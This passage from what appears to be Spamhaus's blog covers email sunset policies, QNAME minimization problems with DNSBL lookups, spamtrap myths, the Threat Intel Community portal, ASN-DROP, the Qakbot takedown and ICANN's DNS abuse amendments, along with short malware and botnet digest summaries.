new infrastructure – or if your reputation is already poor.Filters are trained to identify campaigns with a high volume of unengaged addresses and spamtrap hits before evaluating email placement. The higher the spam placement, the lower the ROI for the campaign. In other words, reputation will decrease where the number of old email addresses increases. Informational listings A lack of sunset policy combined with poor bounce management is the recipe for inclusion on the Spamhaus Blocklist (SBL). As seen in our informational listings last year, ineffective bounce handling caused many users to send emails to addresses that had never engaged with their emails and had turned into spam traps. An effective sunset policy would have spared much pain for both the receivers and the senders. How to effectively implement a sunset policy? Implementing an effective sunset policy requires two important steps: Email segmentation Email segmentation is crucial for any email program and plays a vital role in implementing a sunset policy. Segmenting by engagement is particularly helpful in optimizing email deliverability; pinpointing users who are no longer engaging with your emails. In order to determine which addresses should be considered old, the sender’s email cadence and frequency of sending should be considered. And although spamtraps are aged (M3AAWG suggests 12 months as a minimum), it’s wise to use common sense when defining the age of email addresses in your database. Mailbox providers can investigate an email address that has been unengaged for anywhere from three to twelve months. Engagement-based suppression The next step is to remove the email addresses from your lists that are no longer engaging with your emails – we call this “adding to the suppression list”. If you’re worried about suppressing a large number of addresses, try re-engaging contacts with a permission pass or re-engagement campaign. This tactic does however come with a warning. A successful campaign requires strategic planning, as sending to all unengaged users at once is a sure-fire way to destroy your reputation! As you would with a warmup campaign, schedule and stagger the re-engagement campaign over several days while paying close attention to domain and IP reputation. It is also good practice to contact mailbox providers and email filtering vendors to inform them of the possible inclusion of older addresses. As well as the proposed campaign timeframe. Once you have the final list of customers no longer interested in your mailing, it’s time to say goodbye! For those who missed it, you can catch up on episode one of the Spamhaus Deliverability Live series, “What is a sunset policy and why do you need one?.

QNAME Minimization and Spamhaus DNSBLs

Peter Popovich — Fri, 17 Nov 2023 14:23:20 GMT

On October 4th the Internet Systems Consortium (ISC) issued an article highlighting a problem with Spamhaus’ RBLDNS servers incorrectly answering partial queries that are sent due to QNAME minimization. Our technical team has deployed an initial patch for this issue, and we are in open dialogue with the ISC as we continue our investigations. We would like to thank the ISC for bringing this issue to our attention and reinforce our support for this recent enhancement to the DNS protocol. At Spamhaus, we are privacy advocates, and we recognize the importance of QNAME minimization in enhancing online security and user privacy. Creating the impression that we are opposed to its benefits or reducing privacy is the last thing we want to do. There is no question that QNAME minimization is a good thing for the community at large. There is, however, an unresolved issue that is directly impacting DNS Blocklist (DNSBL) providers and users. QNAME Minimization and DNSBLs As outlined on the ISC’s website, “QNAME minimization changes the DNS queries from the recursive resolver to include only as much detail in each query as is required for that step in the resolution process.” In most cases this is helpful, as the majority of queries do not require all the information provided and it offers a layer of privacy minimizing exposure to unnecessary detail. However, for DNSBL queries a fully executed QNAME minimization query can become problematic. This is due to the number of labels in the RBL lookups. Here is an example of a Spamhaus Blocklist (SBL) lookup using an IPv4 and an IPv6 address: DNSBL lookup with an IPv4 address: If the resource to be queried is an IPv4 address, to query the Spamhaus Blocklist (SBL) about the listing status of 203.0.11.79 you would need to perform a query for 79.113.0.203.[key].sbl.dq.spamhaus.net. In practice, the nameserver for sbl.dq.spamhaus.net will most often be cached already, resulting in five queries. DNSBL lookup with an IPv6 address: If the IP address to be queried is IPv6, to query SBL about the listing status of 2002:db8:7ca6:22::45 you would need to perform a query for 5.4.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.2.0.0.6.a.c.7.8.b.d.0.1.0.0.2.[key].sbl.dq.spamhaus.net. This is regardless of how much has been cached already. Assuming - as above - the delegation records for sbl.dq.spamhaus.net are already in your cache, the number of queries to identify the listing status of the IPv6 address could reach 33! There are some partial mitigations to this explosion in the number of queries, as RFC9156 recommends, in section 2.3, that the limit for the number of these recursions should be 10. However, this is just a recommendation and as such not mandatory. What is the problem? The first part of the query .sbl.dq.spamhaus.net is controlled by standard authoritative resolvers. However, the second part of the query takes place within the DNSBL zones, which is served by the RBLDNSD name servers dedicated only to these zones. Complying with QNAME minimization the recursive resolver queries item by item left of the DQS key ensuring not to expose too much information. And here lies the problem. For an IPv6 address the recursive resolver has to ask a total of 33 questions before an answer is reached, turning one query into 33. This is, however, the worst-case scenario, and based on RFC9156 recommendations a maximum of 10 queries would be expected. The situation is a bit better for IPv4 addresses, as they "only" bring a 5x increase in the number of queries necessary to get to the actual question being asked. Nonetheless, this is still an issue for multiple reasons: on the one hand, it puts additional strain on an infrastructure that is already extremely loaded (to give some context, Spamhaus' DNSBL infrastructure processes, on average, hundreds of thousands of queries per second). But - more importantly - it seriously affects the email ecosystemas a whole. Each query is sequential, meaning that the latency of obtaining data for a single IPv6 increases from 50 to 500 milliseconds (based on RFC9156 recommendations) - or in the scenario of all 33 queries, 1,650 milliseconds! Proper analysis of an average email transaction involves tens of similar resolutions for the most various items (IPv4, IPv6, hostnames, URLs, email addresses, etc.) leading to an issue for all DNSBL users. As a provider of DNSBLs for over 25 years, this is presenting a problem. Disabling QNAME Minimization for DNSBLs Despite the associated challenges, we remain without a doubt that QNAME minimization on the whole is a positive feature. And our technical team is working to identify ways of reducing the overhead for DNSBL look-ups while preserving QNAME minimization functionality. In the meantime, for DQS customers or those accessing Spamhaus Project Public Mirrors we recommend using a dedicated DNS server that has QNAME Minimization disabled for queries to Spamhaus’ DNSBLs. Here you can find technical documentation detailing the configuration for disabling QNAME minimization for Spamhaus DNSBLs. Proposed changes to protocol Investigations by our technical team have identified that all open source and public DNS resolvers use what is called a “relaxed” form of QNAME minimization by default. This means that if we return an NXDOMAIN answer to an incomplete query, the DNS resolver reacts by returning the entire query. Although this solution would allow us to turn off QNAME Minimization, it is not compliant with current RFC’s. Therefore, we recommend there should be a standardised option to request that QNAME minimization is turned off for queries to Spamhaus’ DNSBLs. And we have a logical explanation for this request. Spamhaus’ RBLDNSD is a small DNS daemon made specifically to serve DNS zones for querying DNS-based IP-listings. The RBLDNSD is intended to provide the full answer to the query as quickly as practical. This means when querying an RBLDNSD, producing an unminimized answer is exactly what it should do. By turning off QNAME minimization for zones served by RBLDNSD, it will reduce overall queries and significantly improve performance. More importantly, there is no loss of privacy - DNS servers see the full query regardless as there are no delegated sub-zones in an RBL. Let’s not stop the conversation here As we work through the investigation and solution process with the ISC, we do not consider this the end of the conversation. We would like to work collaboratively with the community to agree on a resolution to meet email security objectives while preserving internet privacy.

Malware Digest October 2023

The Spamhaus Team — Fri, 03 Nov 2023 12:00:00 GMT

October saw increases across 12 geolocations hosting new malware sites, most significantly India (181.82%) but the US is back at number one. Meanwhile, Cobalt Strike was associated with the largest number of IOCs. Read the full report here.

Unravelling the myths of spamtraps clicking links

Tom Bartel — Wed, 01 Nov 2023 12:48:22 GMT

For digital marketers, spamtrap opens and clicks present a consistent challenge to email deliverability and reputation. And despite their good intention, they are perceived only to wreak havoc with engagement metrics. But are interactions on spamtraps the real problem? We know the issues run much deeper. Join Validity‘s Tom Bartel and Melinda Plemel from Spamhaus Technology to unravel the myths and uncover the truth about spamtraps clicking links. Did someone say spamtrap? Where?! Yes, spamtraps are feared by most marketers today. Not only because of the threat of having your IP blocked if an email hits multiple traps, multiple times, but also because of the perceived interference they cause with campaign metrics – opens and clicks. Unfortunately, we believe that much of the ‘spamtrap-clicking’ fear stems from the continued degradation of email performance signals for senders. For example, Apple’s Mail Protection Privacy (MPP) was designed to protect consumers by masking their IP address, yet MPP brought with it the so-called death of the open rate, further blurring a previously relied upon metric. And it’s the knowledge of the degradation of the open rate as a metric that fuels the fear of spamtraps clicking links today, foreboding the additional loss of clicks as a useful performance metric. With the growing deployment of tools to protect receivers from malicious activity, marketers are left questioning their shrinking pool of signals. But are spamtraps and other tools taking the blame for poor deliverability practices? The first rule of deliverability When dealing with deliverability challenges, the first rule to remember is that it is not about you as the sender. It’s about spam, miscreants, and the email-borne threats that mailbox providers and other receivers continue to battle. Spam is as prevalent as ever, which means protecting mailboxes and providing a clean and safe inbox experience is their primary focus. But what does it mean for senders? The truth about opens and clicks Over the years, deliverability challenges and reputation signals have become increasingly complex for the sender. Email signals, which were once straightforward indicators of recipient engagement, have evolved. In the early days, the open rate was a very simple and direct recipient signal. But spammers ruin everything; requiring mailbox providers to introduce anti-abuse protection, performance optimization and consider consumer privacy implications. Where the open rate metric was once a reliable tool for diagnosing campaign performance, it has become blurred and perhaps even unusable as a measure of campaign effectiveness. Similarly, clicks were once a relatively pure signal for measuring campaign success. Yet, due to the volume of emails that systems have to protect users from – spam, phishing, and malware – they are forced to identify and investigate malicious links. This further adds to the devaluation of clicks as a metric for campaign performance. The question remains: ‘Do marketers need to worry about spamtraps?’ Spamtraps are not the problem Most spamtraps fall into three categories: typos, recycled and pristine. As it sounds, typo spamtraps are email addresses with a misspelled domain name similar to legitimate mailbox provider domains. Recycled spamtraps are email addresses that were once valid but are now no longer used. Although they make up the majority of spamtraps, they are of less concern when it comes to spamtraps clicking links. Pristine traps are a different story. Designed to catch specific abuse, they are typically utilized by researchers undertaking detailed investigations. These are incidents where an email should never have reached its destination, which will undoubtedly have suspicious links. These are also email addresses you do not want in your database. And yes, there could likely be a click. Researchers will investigate every detail to determine whether the emails sent to these essentially fake email addresses are malicious – including links. Nevertheless, this category of spamtrap represents a small percentage overall and should not interfere with data analysis and campaign performance. In fact, spamtraps can be an invaluable tool for deliverability specialists. In their various forms, spamtrap metrics are indicators of overall list hygiene. By embracing these signals as pathways to investigation, senders can identify the real problem rather than merely addressing the symptoms. What is the real problem? In an ironic twist, the second rule of deliverability is that it IS actually all about you: the sender. Ultimately you are measured by your behaviour, and despite any opens and clicks generated by spamtraps during investigations of malicious activity, high rates of spamtrap hits are a strong indicator that you have a list acquisition and or hygiene issue. Don’t blame the signal. And don’t discard the signal due to minimal “non-human interaction”. Instead of wasting hours, days, weeks hunting for spamtraps, stop and use the signal to identify any flaws in your process that are allowing spamtraps into the system. More importantly, you need to go back to the deliverability basics. It’s about permission and expectation for recipients, delivering on that promise, and not over sending! Consent is the single most impactful step senders can take. And to be clear, when we say consent, we mean, “freely given permission, with an affirmative action taken by recipients to confirm they opt-in to receive email communications from a sender”. We recommend following M3AAWG’s sender best practices for obtaining Confirmed Opt-In (COI): End user provides their email addresses to the sender. A confirmation message is sent to recipient informing them they must take action to complete their subscription, such as clicking a link or replying to the email. The recipient must take the prescribed action, such as clicking a link or replying to an email, to confirm they consent to receive future messages before any subscription messages are sent to them. By employing COI, you can have confidence in the quality of the data entering your system. Where you have a database that has fallen into a state of disrepair – no sunset policy, poor bounce management – use tools to refine your data. Such tools may include list validation or a permission pass campaign to reconfirm opt-in status for your contacts. Maximise all deliverability signals There is value in every deliverability data point you have at your fingertips. And while it’s true opens, clicks, and other deliverability signals have become blurred, when viewed holistically with all deliverability data points, they still provide valuable insight – including spamtraps. Instead of fearing spamtrap opens and clicks, leverage them as a signal for investigation to better understand the root cause of your deliverability problems.

The beta nature of the Threat Intel Community Portal

The Spamhaus Team — Wed, 01 Nov 2023 10:20:22 GMT

If you haven't noticed, the Threat Intel Community is in beta, and to be honest, it will be for some time - probably until the end of 2024. "Why?" we hear you chorus. In a nutshell, we're all learning together - it's a process of discovering what data you want to send us and understanding what feedback mechanisms motivate you. What data and how much? Our detection methods are based on big data (we were doing big data before big data was even a "thing”). We apply machine learning, heuristics, and manual investigations to terabytes of data. For example, we analyze more than nine billion SMTP connections every 24 hours (and that's just the tip of the iceberg). Big data we're used to, smaller datasets, not so much, and neither are our machine learning algorithms. Despite the wonders of AI, the Spamhaus crystal ball couldn't guess what volumes and types of data you, the community, would be sending through until the portal was in production, so we’re in a discovery phase. Thank you for your feedback We can't thank our contributors enough for the feedback. Has it all been glorious accolades? No, nor did we expect it to be - we refer you back to the opening paragraph - this is a learning process, and it won't happen overnight. One of the most significant pieces of constructive feedback we've received is some users' disappointment when their contributions aren't reflected in our datasets. Yes, we hear you. Our researchers would be extremely frustrated if all their rule-writing and manual investigations were to result in zero detections. We acknowledge that enhancements need to be made to our internal processes and machine-learning models. As I type, our researchers are reviewing your data to infer what modifications to make. Why can't we place your submissions directly into our datasets? There are a couple of reasons: Policy and accuracy. Every DNSBL dataset we publish has a policy associated with it. By policy, we mean the contributing factors that cause an internet identifier to be listed in the dataset. These policies have been carefully crafted in collaboration with the internet community over the past two decades to meet the needs of those who consume the data, and to ensure false positives are kept to a minimum. To list an internet identifier in our DNSBLs, we must ensure they are consistent with the individual list policy. Therefore, your submissions are reviewed and re-processed to confirm they meet Spamhaus' policies and the individual list criteria. Most of our policies can be found on this website, for example the one for the SBL. However, as Spamhaus continues its journey deeper into a world of reputation, individual contributor reputation can be automatically evaluated and assigned according to the accuracy of their submissions - and how closely those submissions adhere to list policy and criteria. We will reach a point where we verify contributors as “trusted” so their submissions can go into reputation-based datasets and threat intelligence feeds more quickly. As we start to review the volume, quality and type of data submitted we will be able to make informed choices as to how best to move forwards with this. Nonetheless, the current measuring factor that you see in the Threat Intel Portal is based on the number of submissions that match detections, and these detections are governed by policy. Where policy isn't adhered to, false positives occur Spamhaus' data protects users across the globe - we're known and trusted for having reliable data. For example, for every domain detection, over 100 rules are applied to that domain, and are sometimes subject to additional, manual investigation. Likewise, we know that most of our submitters have invested significant time in establishing if the internet identifier is suspicious; however, we also must ensure it won't trigger a false positive, hence the reason we can’t immediately drop your intelligence into our datasets. But what if submitting feels pointless? Please be patient. Our machine-learning models, processes, and manual investigators are all learning from the data you submit. But without your data, that discovery stops. What does the future hold? There's a plethora of features and functions on the long-term roadmap; we plan to introduce league tables, illustrating the volume of community submission, and more importantly, their quality. We hope to introduce a private, invite-only communication channel on a platform of the community's choosing, for those serious about increasing their threat-hunting skills. The list goes on. But first and foremost, we need to ensure that you are getting value out of your contributions, and to do this, we need to keep receiving them. Thanks for your patience on this journey. We appreciate it. And please keep the feedback - and the data - coming.

Domain Reputation Update Q3 2023

The Spamhaus Team — Mon, 16 Oct 2023 12:00:00 GMT

Despite +178% growth in gTLD .bond, number of new domain registrations remained unchanged. In Q3, there were 554,582 detections (-23%) and compromised malware dropped from 11,003 in Q2, to 1,220 in Q3. Could this be the result of the Qakbot takedown?

Malware Digest September 2023

The Spamhaus Team — Fri, 06 Oct 2023 12:00:00 GMT

We saw the rise of the RATS this month, with NJRAT (+2129.56%) and RemcosRAT (+1392.49%) experiencing staggering increases, as well as new entrants AsyncRAT, QuasarRAT and BitRAT - find out more in September's malware report.

Want to submit data? Be our guest!

The Spamhaus Team — Thu, 05 Oct 2023 12:32:31 GMT

For many years Spamhaus has been asked if it accepts data from third parties. The standard response has always been “Only after a detailed technical process and if certain criteria is met". But today, that response changes to “Yes, we do”. If you want to submit malicious domains, IPs, email source code or URLs there is now a portal available for non-security professionals and threat hunters alike, at , called the Threat Intel Community. Why now? Community is at the very heart of the Spamhaus Project. Many, many moons ago, our founder, Steve Linford, sat aboard his houseboat on the river Thames, growing increasingly irate about the number of spam emails he was receiving. He took it upon himself to list the IPs associated with this spam avalanche, and shared the data so internet users could block connections to these IPs. Before long, like-minded individuals joined Steve’s crusade. A community was born. One that was filled with passion and a desire to do what was right for the good of the internet. Fast forward 25 years, and Google isn’t the only one celebrating its quarter of a century – so is Spamhaus. Here we are in 2023, and while the focus has shifted from pure spam to that of malware, phishing and ransomware, and from DNS Blocklists, to a wide range of threat intelligence, the importance of sharing data and signal remains at the core of what we do. So, what better year to launch the Threat Intel Community? It feels only fitting to provide the community with a place to share signal that is believed to be malicious, just as Steve shared those IPs back in 1998. Who is the Threat Intel Community for? Anyone. Honestly, anyone can make a submission. From your Dad, who has received a phishing email, whose knowledge of technology is limited, to an amateur threat hunter, who wants to submit thousands of potentially malicious domains via an API– there’s something for everyone. What data are we accepting? In its first iteration the portal will accept the following:  IP addresses e.g. 8.8.8.8 Domains e.g. example.com URLs e.g https://www.example.com/test Email source code e.g. How do you submit the data? There are two ways submissions can be made: A single submission: Create an account via one of three authentication methods (Github, LinkedIn or Google), complete the submission form, including the type of threat you think it is, the reason why and submit... and then submit another and another... you get the picture! API submissions: For multiple submissions there is an API which needs to be used in conjunction with a key, which you can create through the account page once you’ve authenticated. To use this API, you do need to have some basic coding skills, however once set up you can submit as much signal as you like... actually that’s not quite true. It won’t come as a surprise to learn that we do have some rate limiting applied! What feedback do you get? For those of you who choose to create an account you will have a dashboard to show the number of submissions you have made along with the number of detections matched on Spamhaus’ datasets. What’s next? You tell us! What features do you want to see in this portal? We have a roadmap, but we want you to help shape it. Because this is built for you, the community. Do you want somewhere to discuss threat hunting techniques and interact with Spamhaus’ threat hunters, for example a secure and managed Slack channel? What other type of data and threats would you like to submit? What feedback via the portal would you like to see. What free data would help you with your threat-hunting, for example, Passive DNS data? We welcome your feedback. Obviously, features won’t appear overnight, but we’ll certainly add them to the list! Last but not least A huge thank you to the Spamhaus team who have made this possible, from the Backend and Frontend Developers, to our OSINT team and Marketing who have all helped from ideation to production. And finally, “thank you to you”, our community, who have supported us for the past 25 years. Visit the Threat Intel Community website to learn more.

Botnet Threat Update Q3 2023

The Spamhaus Team — Thu, 05 Oct 2023 12:00:00 GMT

Spamhaus researchers observed a decrease in Botnet C&C's operators in Q3 (-16%). With Qakbot's takedown headlining the news, it's no surprise associated Botnet C&Cs dropped by -41%, further strengthening CobaltStrike's position at the top.

The return of the ASN-DROP

Jonas Arnold — Wed, 13 Sep 2023 09:25:18 GMT

Further to requests from the community we've reinvigorated the ASN-DROP. With a new algorithm, ASN-DROP is now available in JSON format, listing Autonomous System Numbers (ASNs) associated with the worst of the worst behavior. These are ASNs that our researchers wouldn’t recommend engaging with and are highly likely to announce or supply transit to IP ranges associated with malicious behavior. From networks hosting botnet command and control systems, to "bulletproof" networks selling connectivity/hosting to cybercriminals, to hardcore spammers, and more. One of our researchers is an avid supporter of ASN-DROP - here’s Jonas Arnold’s experience of the dataset and why they love it. Love is a DROP list Let’s clear something up quickly - for those of you who are wondering what is "DROP" it’s an acronym for Do Not Route or Peer. Having started my IT security journey as a firewall administrator (something I am still close to now) I've grown to love the DROP list family. Not only do I cherish the DROP lists for being highly reliable in terms of false positive rates. They are compiled transparently and responsibly with the ability to look up every IP listing in the Spamhaus IP and Domain Reputation Checker. And for free - no strings attached. With Spamhaus, I know the DROP lists are rock solid and will be here for years to come. Less worry, more time As a human defender, you are limited by your time and resources. DROP lists allow me to mitigate (or even prevent) threats at every opportunity, reducing my worries considerably. This frees up resources I need for dealing with more sophisticated threats - of which some will inevitably slip through the net. ASN-DROP and IP-based DROP lists are not a silver bullet solution. They serve as coarse filters, removing the worst of the worst ASNs and IPs. While they cannot guarantee 100% security, it doesn't matter. Why? Because of the amount of stress and sleepless nights it takes off my shoulders, due to fewer incident response tasks. There is little to no ongoing maintenance effort required, except for keeping an eye out for hits caused by compromised internal devices. Using the ASN-DROP list After a rather emotional introduction to DROP lists (what can I say, I’m a fan!) here are four ways I have used these list across various IT security roles: Blocking rogue ASNs at the perimeter infrastructure: No surprises there. This is what the list is intended for! However, some ASNs rotate very quickly through prefixes, only announcing them for a few hours. They send spam and remove the announcement almost immediately afterwards. The ASN-DROP is very helpful in preventing abuse in this scenario. With a list of ASNs, you can automatically "blackhole" them in the BGP router at the network edge, which makes all networks announced by them unreachable. Hunting for DROP'ed ASNs: Before Resource Public Key Infrastructure (RPKI) made Border Gateway Protocol (BGP) hijacking more difficult, hunting for DROP'ed ASNs in the global routing table could be used to detect rogue announcements (attacker falsely announces ownership of groups of IP addresses). These were either hijacks - or in some cases, attempts to redirect internet traffic. Either way, we would not process the new routes, sticking to the old ones. Noting changes in the rogue hosting landscape: DROP’ed ASNs that announce new prefixes or connect to other ASNs are probably rogue. We would reject traffic from these ASNs, even before our routing infrastructure could process a single packet to or from the internet infrastructure involved. Incident checks at suppliers, partners, or branches: During a scheduled downtime, a supplier's perfectly clean IP network was temporarily rerouted in a targeted attack to bypass IP-based ACLs. However, the involved carriers' ASN was on the ASN-DROP, preventing the traffic from passing through. Result! Thanks Jonas for sharing your experiences – we love your heartfelt account of using the Spamhaus DROP lists. We’d love to hear from the community on ways you use the ASN DROP list... get in touch with us and share. Take a look at the Spamhaus DROP lists, including the revived ASN-DROP.

Malware Digest August 2023

The Spamhaus Team — Wed, 06 Sep 2023 12:00:00 GMT

August saw an increase in new malware sites hosted in The Netherlands (284%) and Singapore (220%). Whilst, Mirai appear is making a come back - with an increase in distribution sites and malware samples shared.

Qakbot - the takedown and the remediation

The Spamhaus Team — Tue, 29 Aug 2023 20:28:17 GMT

Writing "Qakbot" and "takedown" in the same sentence is quite something. Usually, Spamhaus is bemoaning the ever-growing numbers of compromised IPs associated with this malware. But, on Tuesday, August 29th, 2023, the Federal Bureau of Investigation (FBI) announced that it coordinated an international group of law enforcement authorities in Operation 'Duck Hunt' to take control of the Qakbot infrastructure. Working together with the relevant authorities, the Spamhaus Project is assisting with remediation efforts. Qakbot email accounts victim remediation Before diving into the nitty gritty of Qakbot and the takedown tale, we want to outline what assistance we will provide to owners and operators of Qakbot compromised email accounts. Qakbot relied on compromised accounts to spread its malicious emails. If a receiver interacted with one of these emails, it is highly likely that their device became infected. As a result, they would have become part of the Qakbot botnet. The authorities have provided Spamhaus with data pertaining to these compromised accounts to assist with the remediation effort. Over the coming days, Spamhaus will notify email service providers, hosting companies, and other parties responsible for these accounts. We request that all those organizations contacted secure the accounts in question via a simple password reset. For more information see our dedicated Qakbot remediation page. The takedown tale We've previously reported on takedowns, for example, Emotet, when its infrastructure was disrupted in January 2021. Similar to the takedown of Qakbot, it resulted from a highly coordinated effort between multiple countries. This time, the United States, France, Germany, The Netherlands, The United Kingdom, Romania, and Latvia all worked together, led by the FBI, to disrupt the Qakbot botnet infrastructure used by cybercriminals. However, one notable difference between the Emotet and Qakbot takedown is the novel method employed to "disrupt the duck". Through Bureau-controlled servers, the FBI instructed infected computers to download an uninstaller file. This uninstaller, specifically created to remove Qakbot malware, untethered infected computers from the botnet and prevented the installation of any additional malware. We won't lie - we think this is genius. To be honest, we think the entire operation is to be hugely applauded, and it once again illustrates that in the World Wide Web era, a World Wide Community is required to keep its users safe. Want to know more about Qakbot? Anyone who has read the Botnet Updates or Malware Digests will have heard about this malware. Qakbot, around since 2008, has been one of the most significant malware threats for corporate networks. To understand the size of this malware, here's a data point: In 2022, every fourth malware site shared by abuse.ch's URLHaus was related to Qakbot. Often acting as Initial Access, Qakbot has been used by many prolific ransomware groups in recent years, including Conti, ProLock, Egregor, REvil, MegaCortex, and Black Basta. Subsequently, these ransomware actors extort their victims, seeking ransom payments in bitcoin before returning access to the victim's computer networks. These ransomware groups have caused significant harm to businesses, healthcare providers, and government agencies worldwide. Investigators have found evidence that, between October 2021 and April 2023, Qakbot administrators received fees corresponding to approximately $58 million in ransoms paid by victims. Over the past year, our researchers have observed increased activity; in Q4 2022, Qakbot botnet command and controllers (C&Cs) were associated with 379% more IP addresses than in the previous quarter. Meanwhile, in February 2023, the largest number of Indicators of Compromise (IOCs) reported via abuse.ch's ThreatFox platform were associated with Qakbot. The disruption of this malware cannot have come soon enough. We are deeply grateful to all those concerned, and look forward to contributing to the remediation efforts. Press releases & announcements FBI: FBI, Partners Dismantle Qakbot Infrastructure in Multinational Cyber Takedown US Attorney's Office: Qakbot Malware Disrupted in International Cyber Takedown Netherlands Public Prosecution Service: Grootste wereldwijde botnet Qakbot onschadelijk gemaakt UK National Crime Agency: Qakbot: cyber crime service taken out in international operation

Malware Digest July 2023

The Spamhaus Team — Fri, 04 Aug 2023 12:00:00 GMT

This month saw a spike in new malware sites hosted in Bulgaria (almost 400%) and a welcomed 55% decrease (finally!) in the US. With new entrant DBatLoader contributing 22% of all IOCs shared via ThreatFox. Read the full report.

DNS abuse: ICANN call for action – but is it enough?

Carel Bitter — Tue, 25 Jul 2023 17:15:20 GMT

In May 2023, ICANN proposed a set of amendments to registry and registrar contracts (commonly known as the RA and the RAA) with an aim of targeting DNS abuse more effectively. This shift towards a more proactive approach signifies a crucial step towards mitigating internet abuse and cybercrime. The call for comments regarding these amendments is now closed. Learn more about the changes, and our answer to the question – “Are they enough?” For many years Spamhaus has maintained that registries and registrars play a vital role in mitigating, disrupting, and preventing various forms of internet abuse, cybercrime, and many other types of malicious activity. After all, many of these activities depend on the availability of at least one domain name to complete the chain of events that leads to the bad actor’s desired outcome. Whether it’s regular phishing, malware delivery, or more advanced activities like state-sponsored espionage, somewhere there is a domain name in play. Without one, these efforts often just cannot succeed. Tackling DNS Abuse In the gTLD space (generic names, as opposed to country-specific names), the ICANN Registry Agreement (RA) and 2013 Registrar Accreditation Agreement (RAA) govern everything related to a domain names’ lifecycle. The ICANN Organization has published a series of proposed amendments for these contracts, specifically dealing with DNS Abuse. DNS abuse in this case is defined as malware, botnets, phishing, pharming, and spam (in such cases wherein spam is used to deliver the previously mentioned forms of DNS abuse). We believe these amendments are a step in the right direction. So, what’s changing? In essence, the amendments look to strengthen obligations that require registrars and registries to stop or otherwise disrupt DNS abuse. From making abuse contacts readily accessible, to providing clarity around DNS abuse definition, to recognition of the different roles of registrar and registries (you can read an overview of the proposed amendments here). There is one change, however, that on the surface seems simple, but has the potential to make a big difference. Under the newly proposed amendments, where DNS abuse is identified and a report is actionable, a registrar must: Promptly take the appropriate mitigation action(s) that are reasonably necessary to stop, or otherwise disrupt, the Registered Name from being used for DNS Abuse. (Excerpt taken from the proposed RAA section 3.18.2) While this may seem obvious, and in a sense, an expected behavior in 2023, the current version of the contract is much less clear about taking action on reports of DNS abuse: Well-founded reports of Illegal Activity submitted to these contacts must be reviewed within 24 hours by an individual who is empowered by Registrar to take necessary and appropriate actions in response to the report. (Excerpt from the current 2013 RAA section 3.18.2) In other words, while the current contract requires reports to be reviewed, the new contract requires action. It may seem like a small and even obvious change, but it has taken a long time to get here. At last, once the proposed changes to the RAA come into force, registrars who fail to act upon mitigating malicious domain names that they sponsor will be in breach of the RAA, allowing ICANN Contractual Compliance to investigate. Couldn’t these changes be more ambitious? Of course, they could! The meaning of terms like ‘prompt’, ‘reasonably necessary’ and ‘disrupt’, could be debated endlessly; there are many open ended ‘what-ifs’ and ‘it-depends’ in this conversation. Also, how DNS Abuse is currently defined leaves room for many abusive or malicious activities to go unaddressed. And we wouldn’t be Spamhaus if we didn’t point out that the DNS Abuse definitions around spam could be much stronger. After all, authentication plays a vital role in modern email. Common SMTP authentication standards, such as SPF, DKIM and DMARC, rely heavily on domain names. For more detailed feedback, Spamhaus contributed to M3AAWG’s comments on the ICANN amendments, which can be accessed here. Amended is better than perfect To us, this is positive progress that both empowers and puts a burden on parties who play a big part in enabling many abuse-related activities. It is a given that the ICANN multi-stakeholder process generally moves at a slow pace – note that this is a small update to a ten-year-old contract. This speed of change is a stark contrast to the relentless churn of tactics and operations in internet abuse, cybercrime and the many other forms of online malicious activity. Given the challenge afoot, it seems to us that perfect is the enemy of the good and we’d much rather have something good, right now.

Domain Reputation Update Q2 2023

The Spamhaus Team — Tue, 18 Jul 2023 12:00:00 GMT

This quarter our domain experts observed 17 million new domains and as expected, Freenom's final departure. With this, new TLDs and registries are now front and centre, with cheap gTLDs the latest victim. Find out more in this Q2 report.

Botnet Threat Update Q2 2023

The Spamhaus Team — Tue, 11 Jul 2023 12:00:00 GMT

Botnet C&C operators plateaued in Q2 (+1%). Spamhaus researchers observed 8,438 botnet C&Cs, with increases across The Americas and decreases across Europe - yet Cobalt Strike and Qakbot persist. Download the latest report to find all the updates.

Malware Digest June 2023

The Spamhaus Team — Thu, 06 Jul 2023 12:00:00 GMT

Another busy month for Qakbot - 61.4% of ALL malware sites shared on URLhaus and 4,150 IOCs shared on ThreatFox. Malware sites hosted in India is on the rise, with Indian network BSNL climbing to #1 host of malware distribution sites.

If you query the legacy DNSBLs via OVHCloud move to Spamhaus Technology's free Data Query Service

The Spamhaus Team — Wed, 17 May 2023 06:32:44 GMT

If you are currently accessing the legacy DNS Blocklists (DNSBLs) via the Public Mirrors, and you’re using OVHCloud infrastructure – you’ll need to make some minor changes to your email infrastructure. The changes are easy to implement, but if you fail to do so, you could find that at some point post-June 20th 2023, all or none of your email is blocked!### The headlines for those in a hurry Our Terms of Use state that we do not allow users to query via DNS resolvers where there is no attributable reverse DNS; this includes OVHCloud (we’ll explain why later in this article). To provide a clear signal to these users that these blocklists are not protecting their email, we will return an error code; 127.255.255.254. If you haven’t set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing the free blocklists via the Public Mirrors and start accessing the blocklists via Spamhaus Technology's free Data Query Service (DQS), which you can sign up for here. Once you’ve verified your email address, you will get access to a “DQS key” to include in your configuration. These config changes take only minutes; see our technical docs for more detail. Why isn't Spamhaus allowing OVHCloud users to query the public blocklists? The blocklists that we make freely available via the Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the Project’s Terms of Use. OVHCloud masks organizations’ queries to the Public Mirrors, so the team can’t attribute usage to individual entities. They have no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via the free Spamhaus Technology DQS. How is Spamhaus Technology's free DQS different from the free Public Mirrors? Usage transparency** – users register to access the free DQS and are provided with a key that records query volumes. Increased performance** – blocklists are updated in real time. Additional protection** – access to more blocklists, including Zero Reputation Domain Blocklist, Domain Blocklist with Hostnames, and Auth Blocklist. How to access Spamhaus Technology's free DQS Sign up for an account Verify your email address Log in to your account and access your DQS key Update your email configuration. We have config guides for mainstream MTAs. How will OVHCloud users be prevented from querying the free DNSBLs? To ensure the Terms of Use are adhered to, we will block queries from a specific IP address outside the policy. We will also return an error code. In the case of querying via an open/public resolver, i.e., OVHCloud, the error code is 127.255.255.254. If your MTA can’t correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the free DNSBLs. When will the error code for OVHCloud DNSBL users be introduced? We will slowly implement the error code across OVHCloud’s IP space, commencing from Tuesday, June 20th, 2023. Please don’t delay – take action now and move to the free DQS. What if 